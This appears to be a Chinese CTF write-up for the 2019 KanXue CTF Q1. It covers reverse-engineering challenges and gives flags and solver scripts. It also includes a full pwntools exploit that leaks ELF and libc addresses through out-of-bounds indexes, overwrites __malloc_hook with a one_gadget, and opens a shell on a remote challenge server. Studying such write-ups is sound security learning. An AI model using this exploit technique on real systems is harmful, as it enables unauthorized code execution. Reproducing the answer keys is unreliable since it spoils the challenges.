2019看雪CTf之Q1

是时候好好复现一下最近各个CTF比赛的题目了,先从看雪CTF开始吧,0CTF的感觉还是有点难度,后面再来搞吧

流浪者

简单逆向题

扔IDA,按x看交叉引用,发现核心的代码如下

1553950166394

1553950184252

逆向起来不是很复杂,主要就是耐心慢慢看对输入字符串的约束条件

我们发现:

如果65<= Str[i] <= 90,那么 v5[i] = Str[i] - 29 ,也就是 36~61的范围

如果97 <= Str[i] <= 122,那么v5[i] = Str[i] - 87 ,也就是10~35的范围

如果48<= Str[i] <=57, 那么v5[i] = Str[i] - 48 也就是0~9的范围

那么就可以写脚本跑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
key="KanXueCTF2019JustForhappy"
a="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
print(len(key))
print(len(a))
flag=[]
for k in key:
if k in a:
if 0<=a.index(k)<=9:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+48))
flag.append(chr(a.index(k)+48))
if 10<=a.index(k)<=35:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+87))
flag.append(chr(a.index(k)+87))
if 36<=a.index(k)<=61:
print("key is:",k," index:",a.index(k)," ",chr(a.index(k)+29))
flag.append(chr(a.index(k)+29))

for x in flag:
print(x,end="")

变型金刚

是个安卓的逆向题,没有了解过安卓,所以不太会。。。

看了几个大佬的wp

大概意思就是,首先能在jeb中看到反编译的代码逻辑

关键点就是使用了个eq函数,但是呢,函数具体内容没有,就在apk文件中找到一个so文件

里面注册了这个函数,然后进去逆这个函数,最后发现

其实是对输入的pwd进行转换,类似base解码,最后与字符串“{98gal!Tn?@#fj’j$\g;;”进行比对,相等返回真

你的输入也就是flag了

影分身之术

Windows逆向,这个可以说是很骚了,web+re的题

第一部分是个web页面及js代码,这个真没想到。。第一次见这种操作,但js不难看,可以初步得到大部分的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function ckpswd() 
{
key="simpower91";
a = document.all.pswd.value;
if (a.indexOf(key) ==0)
{
l=a.length;
i=key.length;
sptWBCallback(a.substring(i,l));
}
else
{
alert("wrong!<" + a + "> is not my GUID ;-)");
return "1234";
}
}
undefined(){alert("congratulations!");}

就是这个sptWBCallback函数比较恶心

看大佬们的wp来分析,应该是通过这个函数,将编码后的代码逐步解码并执行,是一种VM

打扰了,这后面的就分析不出来了,差的基础底子太多了,是时候好好学学逆向了orz

拯救单身狗

(拯救个吉儿,单身一时爽,一直单身一直爽……..)

开始看题吧,64位保护机制全开

1554007414107

主要功能如下

一、首先,可以申请一个single dog,数量不能超过80,申请了0x20的chunk 空间来存name,bss段中有sigle_array存储指针

1554007451367

二、可以申请luckydog,数量也是不能超过80,首先是一个0x20的chunk1,chunk1的第一项内容是另外一个chunk2的指针,最后将chunk1的指针存入bss段中的lucky_array中

1554007539574

三、编辑single dog,根据输入的下标idx来进行修改对应sigle array的内容,这可以输入一个大的数字,直接改到luckdog的数组

1554007829586

四、编辑lucky dog,这里则可以通过输入负数访问上面的数组,造成伪造任意地址写

1554008845338

五、save single dog,这里其实是伪随机数,gdb跟进去可以看到具体的值,主要功能就是,free掉一个lucky的指针,接着single指针代替lucky指针,然后在bss段中清空并重新排序single array

1554009880376

分析完了之后就可以总结出利用的思路了

来总结一波发现的线索:

  1. 功能三和功能四中,sigle array和luckdog 数组都可以通过下标越界来实现读写功能
  2. 存在伪随机数,可以刻意操控free的chunk

由于保护机制全开,就莫得改got表

而且pie开了以后,所有地址都没有,首先就需要泄漏出elf基址,libc基址

我一开始是的思路是在往堆漏洞利用方面想的

但后来慢慢分析的时候,发现,只要用好第一条线索,就可以getshell了

思路:

  1. 由于

    puts(“Oh,singledog,changing your name can bring you good luck.”);

    read(0, (void *)sigle_array[idx], 0x20uLL);

    printf(“new name: %s”, sigle_array[idx]);

    我们可以利用这条printf语句去泄漏

  2. 由于

    puts(“Oh,luckydog,What is your new name?”);

    read(0, (void *)(lucky_array[idx] + 8LL), 0x18uLL);

    puts(“your partner’s new name”);

    read(0, *(void **)lucky_array[idx], 0x20uLL);

    我们可以设计single dog 的chunk,实现任意地址写

  3. 先泄漏出elf基址,再泄漏出libc基址

  4. 改malloc hook的地址为onegadget,一把梭getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./apwn"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("211.159.175.39",8686)
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")

elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create_singel_dog(name):
ru(">>\n")
sd("1")
ru("Name:\n")
sd(name)

def create_lucky_dog(name,partner):
ru(">>\n")
sd("2")
ru("Name\n")
sd(name)
ru("partner's name\n")
sd(partner)

def edit_single(idx,name):
ru(">>\n")
sd("3")
ru("which?\n")
sd(str(idx))
ru("good luck.\n")
sd(name)

def edit_lucky(idx,name,partner):
ru(">>\n")
sd("4")
ru("which?\n")
sd(str(idx))
ru("new name?\n")
sd(name)
ru("partner's new name\n")
sd(partner)

def save():
ru(">>\n")
sd("5")


singel_array = 0x202060
lucky_array = 0x2022E0
stdin = 0x202030
stderr = 0x202040
stdout = 0x202020
x = stdin-0x28
offsetx = str((x-singel_array)/8)

create_singel_dog("aaaa")
create_lucky_dog("bbbb","cccc")
edit_single(offsetx,"\x08")
ru("new name: ")
elf_base = u64(p.recv(6).ljust(8,"\x00"))-0x202008
print "elf_base--->",hex(elf_base)
addr = p64(elf_base+0x202008).strip("\x00")
print len(addr)

edit_single(offsetx,p64(elf_base+0x202008-0x70))
ru("new name: ")
read_addr = u64(p.recv(6).ljust(8,"\x00"))
print "read_addr--->",hex(read_addr)
libc_base = read_addr-libc.sym["read"]
print "libc_base--->",hex(libc_base)
onegadget = libc_base +0x10a38c#本地:0xf1147
malloc_hook = libc_base+0x3ebc30#本地:0x3c4b10

print "onegadget--->",hex(onegadget)
print "malloc_hook--->",hex(malloc_hook)
#debug()
edit_single(0,p64(malloc_hook))
edit_lucky((singel_array-lucky_array)/8,"aaaa",p64(onegadget))

getshell()

没想到服务器到现在还开着,拿到flag的感觉是真爽,所以拯救个吉儿的单身狗呢,如果能让我题题出flag,宁愿一直单身

1554022201911

其实做完以后,发现我的这种解法是非预期解,是出题人的疏忽导致的

官方的解法还是用到了堆的操作,由于是2.27的libc,又其实涉及到tcache机制,官方解法做起来还是很麻烦的

这里贴一下地址吧

https://bbs.pediy.com/thread-250089.htm

青梅竹马

这题Windows逆向,主要是考察逆向和解密算法

通过文本框输入一段字符串,进行检验

有这几个约束:字符串长度大于等于12,第1和第2个字符不能同时是A,第6和第12个字符必须是V,输入为大小写字母+数字

1554105654607

接着将输入去掉第6与第12个字符 。进行base的解码,通过异或一串数字,得到table

ABCyVPGHTJKLMNOFQRSIUEWDYZgbc8sfah1jklmnopqret5v0xX9wi234u67dz+/

这个可以在调试的时候在内存中看到

然后把输入的字符串,进行解码,然后再编码,检验内容,如果通过,才进入if分支

1554106104299

我们需要v7返回2,才能得出正确的结果

最后最难的地方就在这里,我搞得不是很懂。。大概是接触逆向解密太少了,看大佬的wp,大概意思是说

生成100以内的素数数组,输入debase后值转成大数记为m,0x4f(隐藏文本框中的值)以内的素数相乘记为大数n,然后求pow(m,0x53,n) == 2、、、

搞到最后就是要解这玩意

pow(x, 83, 20364840299624512075310661735)

解出来以后,结果作为下标获取文本常量, 当结果为2时得到正确答案的提示.

这里贴一个pizza大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import inverse, long_to_bytes
n = 20364840299624512075310661735
e = 83
factors = [3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73]
phi = reduce(lambda x, y:x*(y-1), factors, 1)
d = inverse(e, phi)
x = pow(2, d, n)

s = long_to_bytes(x)
t = b64encode(s).rstrip('=')
t = t.translate(trans)
t = t[:5] + 'V' + t[5:10] + 'V' + t[10:]
print(t)

真的打扰了,逆向一旦跟密码学结合一起,就不太会了。。太菜了orz

RePwn

这题说是说re pwn,但其实跟pwn的关系不怎么大

主要还是逆向

这题不算难,就是慢慢理清逻辑关系了

32位的控制台exe程序,直接看IDA吧

1554125127457

这里有三重check函数,第一个check其实就是要保证输入的flag,从第9位开始是:X1Y0uN3tG00d

1554125211578

第二个check就简简单单得保证flag是个0x18长度的字符串就行了

这里也能看出,实际上这里就有栈溢出的漏洞了,最后四位通过构造得到一个跳转的地址,去执行某个函数,那么看来这个程序本身一定有一个加密和解码字符串的操作,不然在ida中直接搜字符串肯定能找到线索,但这里找不到

然后看第三个check,其实就是拿输入的字符串的前八个字符作为int型的数据参与计算,本质上就是三个方程,解方程组即可获得flag的前八位1554125373586

也是解:

2 (x3 + 1000 x0 + 100 x1 + 10 x2 + x5 + 10 *x4) == 4040

(3 x5 + 10 x4) / 2 + 100 (x7 + 10 x6) == 115

x3 + 1000 x0 + 100 x1 + 10 x2 - 110 (x7 + 10 *x6) == 1900

虽然不难,化简以后很好算,但我这里就还是用z3解,顺便学一波这个工具的使用

解出来有多个结果

20101001,20100100等等

到目前为止,flag已经拼凑的差不多了:20101001X1Y0uN3tG00d**

就差最后四位了,根据前面分析的,最后四位其实是地址,那么就去找找该往哪里跳转

用pwn的思路来找的话,肯定首先看看哪里有引用system函数的

1554174981328

发现,果然有,进一步分析发现这两个其实就是一系列的解密函数,应该是输出正确的提升语句

最后得出flag:20101001X1Y0uN3tG00dHaCk

输入后:

1554175218466

1554175234057

没错的确实现了跳转并且用了system(“cls”)和system(“pause”)

圆圈舞DancingCircle

这个是个逆向题,

挖宝

1555244449178

保护全开。。刺激.jpg